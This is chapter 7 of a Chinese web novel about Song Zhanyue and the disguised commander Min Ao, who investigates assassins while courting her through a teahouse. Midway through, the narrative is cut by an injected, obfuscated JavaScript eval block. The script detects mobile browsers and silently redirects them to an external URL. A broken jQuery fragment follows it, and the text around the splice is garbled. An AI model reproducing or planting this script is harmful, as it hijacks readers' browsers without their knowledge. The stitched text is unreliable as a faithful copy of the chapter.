7. 第 7 章
作品:《狮子捞月》 宋展月在外转了小半天,仍旧兴致缺缺。
再次经过红炉点雪时,她吩咐车夫在侧巷停下,之后带着春苗进了门。
她想着,还不如直接问闵掌柜喜欢什么样的画,自己直接画给他便是,也不必费心思琢磨揣测。
道明来意后,小二却赔着笑道:“哎哟姑娘,真是不巧,今儿我们掌柜不在。至于他什么时候回来……这个不好说,我们这些小的,哪敢过问掌柜的行踪呢。您看,您还有别的需要吗?”
又不在?宋展月心下嘀咕,这掌柜的产业挺多,似乎比父亲还忙。
现下时辰还早,想起上回没看完的书,便出示了闵掌柜给予的‘阅书印’,再次来到茶馆二楼的雅室。
小二给她端来了两碟精致的点心:一碟是晶莹剔透的桂花水晶糕,另一碟是酥皮裹着红豆馅的如意卷。
都是她爱吃的清甜口味。
“你们这的点心师傅手艺真好。”
小二笑容更殷勤:“姑娘若喜欢,小的这便吩咐厨房,等会您走的时候,给您捎上两盒新鲜的。”
糕点味道确实好,宋展月也没拘着,应了下来。
她先是在靠墙的书架上略作逡巡,找到了上回那本书,接着又细细打量这间雅室,发现这雅室的布置虽看似简洁,实则处处透着不凡。
墙面挂着的,是两幅前朝丹青大家的真迹,旁边还有一幅早已失传的山水摹本,若非她师承舅父,几乎要以为那是赝品了。
真是太厉害了,没想到这小小的茶馆,竟藏着如此深厚的底蕴。
叩叩——
门口传来两声不轻不重、颇有节奏的敲门声。
宋展月转过身,发现是账房的范先生用指节在门框上轻叩,脸上带着惯有的和气笑容。
“打扰姑娘兴致了,听闻姑娘来找我家掌柜?”
“正是。”
他的脸上露出几分歉意与为难:“还真是不巧,掌柜今日一早便出去了,说是有要事在身。不知姑娘寻掌柜所为何事?或许范某可以代为转达。”
“那便劳烦先生了。”
她三言两语说明了想询问掌柜画作偏好的来意。
“原来如此。”范凌点了点头,笑容可掬,“姑娘放心,范某必会一字不差地转告掌柜。不多打搅姑娘雅兴了,您随意。”
说完,他礼貌地退出门去,轻轻带上了门。
下楼之后,他沿着走廊越过后院的月亮门,来到一间堆放杂物的库房前,从怀中取出一把黄铜钥匙,打开了门锁,推门进去,接着掀起角落一块沉重的青石板,朝下方幽深的阶梯走了下去。
这是一条隐秘的地道,可直接通往辖下的秘密牢狱——潮狱。
地道内灯火通明,两侧墙壁插着火把,将潮湿的石壁映得忽明忽暗。
空气中弥漫着一股混杂霉味、铁锈与淡淡血腥气的气息。
他对此早已习惯,目不斜视一路疾行,不多时便来到一处开阔的刑房。
只见正中央,立着一道肩背伟岸的身影,正是闵敖。
他身姿挺拔如松,侧脸在跳动的火光下愈显冷硬,衣摆袖口以暗金线绣着细密狮纹,腰间革带紧束,周身散发出生人勿近的凛冽气场。
此刻,他正隔着狱栏,凝视两名狮牙卫褪去尸身衣物,仔细查验其体貌特征。
范凌在他身后三步处站定,垂手恭立,屏息等待。
近些时日,督主遭遇了三次暗杀。
第一次是在从西山别院回城的官道上,遭遇冷箭伏击;第二次是深夜督主府的书房外,有刺客潜入,触动了机关;第三次则是今天,督主前往潮狱途中,于一条窄巷被三人围堵。
旁人不知,督主不仅武功深不可测,就连轻功也是江湖中数一数二的存在。
不仅身法迅捷,还能凭借听觉,听出靠近之人的呼吸与脚步轻重,判断方位与距离,非等闲之辈不能近身。
这些刺客,如此三脚猫的功夫就敢来行刺,当然是被狮牙卫尽数擒拿。
但令人头疼的是,这些刺客在被捕后,几乎都会在第一时间咬破舌下藏着的毒囊,自尽而死,导致他们完全无法追查,毫无头绪。
闵敖并未回头,声音在牢狱中回荡着:“如何?”
范凌上前半步,将宋展月的来意尽数告知,又略微夸大其词,将她平静的询问,描绘成带着几分期许与好奇的探问。
“嗯。”闵敖沉静听完,面上虽无波澜,但捻着左手拇指上那枚玄铁扳指的动作,几不可察地停顿了一瞬,复又缓缓转动起来。
见范凌没有补充,旁边的杨洪检查完毕后,起身抱拳禀报:
“督主,此刺客跟前两批的一样,身上干净,无纹身疤痕,无特殊印记,衣物兵器皆是市井常见之物,查不出源头。”
“查不出来源,就查兵器、查毒药、查他们潜入的路线。总会有痕迹。”闵敖淡淡道,语气却不容置疑,“范凌,说说你的看法。”
被点名的范凌略一沉吟。
要说此事是仇家所为的话,那可太多了,督主的仇家多得就像是这地面的沙子。能这么大手笔,布局如此谨慎,幕后之人,肯定非富即贵。
他措辞谨慎,一边观察闵敖神色,一边缓缓提及几类可疑之人——与狮牙卫结怨的藩王、遭抄家流放的世家余孽,乃至后宫中暗藏的势力。
他一面说着,一面随闵敖步履,自潮狱地道离开,返回督主府书房。
“如今,陛下病重,太子年幼,朝局看似平稳,实则暗流汹涌。那几个王爷,都不是安分的主。”范凌继续分析,“属下愚见,誉王近来动作频频,在朝中拉拢清流,又得老臣拥戴,还想与宋相结亲……其志不小。”
“只是狮牙卫虽一直盯着他,却并未查出实质性异动。且誉王数次对狮牙卫示好送礼,都被督主您挡了回去。”
“如今我们在明,敌人在暗,督主务必小心,以防再生变故。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201874|197219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哗哗说了一大堆,范凌口干舌燥,端起面前的茶杯一饮而尽。
却见督主端坐在书案后,神色未变,似乎并未将他的长篇大论听进去多少,而是持一支青金石为饰的狼毫笔,在铺开的洒金笺上,缓缓写下两行字。
写完后,他又吩咐随从拿来一个素雅却质地上乘的玉版宣信封,仔细将信塞入,蜡封,这才抬眼扫过来。
“你把她喜欢看的几本书,与这封信一并,用红炉点雪的名义送去相府。”
范凌赶忙接过,心道这宋姑娘要是知道自己频频接触的‘闵掌柜’,实则是她笔下痛骂、心中最憎恶的‘佞臣’本尊,不知会作何表情。
这般想着,嘴角不自觉露出一丝促狭的笑意,抬起头,恰好撞入闵敖那双深潭般的灰黑色眼眸里。
那眼神平静无波,却似能洞穿人心底最细微的波澜。他心头猛地一跳,脸上笑意瞬间僵住。
“你在笑什么?”
“属下……想到了些高兴的事。”
“什么高兴的事?”闵敖站起身,黑袍下摆随着动作划开一道冷冽的弧线,缓步走近。
范凌敛了敛神色,重新挂上那副惯常的笑:“属下是为督主高兴。”
“宋姑娘才华横溢,容貌倾城,性情又颇有风骨。督主如此费心,又是赠礼又是亲笔信笺,这般细致周全,天长日久,宋姑娘那颗七窍玲珑心,岂能不为之所动?”
“你现在,愈发会说话了。”
“托我家内子的福,”范凌立刻换上一副苦哈哈又带点炫耀的神情,“我家那个,看着温顺,实则性子拧得很,时不时就要闹点小别扭。”
“这不,为了哄她高兴,察言观色、揣摩心意的本事,属下都给练出来了。用在正事上,也算物尽其用。”
闵敖笑睇着他,从身旁多宝格的锦盒中取出一物,随手一掷,精准地落入范凌怀中,“赏你了,给你家‘拧性子’的内子添件首饰。”
“谢督主。”范凌嘿嘿一笑,将玉佩小心收好,躬身退下办事去了。
这厢。
在红炉点雪没见到闵掌柜的宋展月看了会书后,便打道回府。
到了第二天下午,申时初。
正在房中临摹一幅古画时,春苗从外间快步进来禀报,说门房收了份礼,指名是给小姐。
这话令她一头雾水,左右不是节日,谁会给她送礼?
待仆从将一只尺余见方的紫檀木雕花匣子抬进来,放在桌上。
她打开一看,里面是整整齐齐码放的数卷古籍,皆是珍本善本,甚至有两本是她寻觅已久却不得的。
而匣子最底下,静静躺着一封素白信笺。
这是?
满腹疑惑的她赶紧将信拆开,上面只有短短的两行字,却笔力千钧。
闻君雅好,偶得数卷,或可佐清茶。
画题不必拘泥,若论风骨,墨竹足矣。
——红炉客闵。

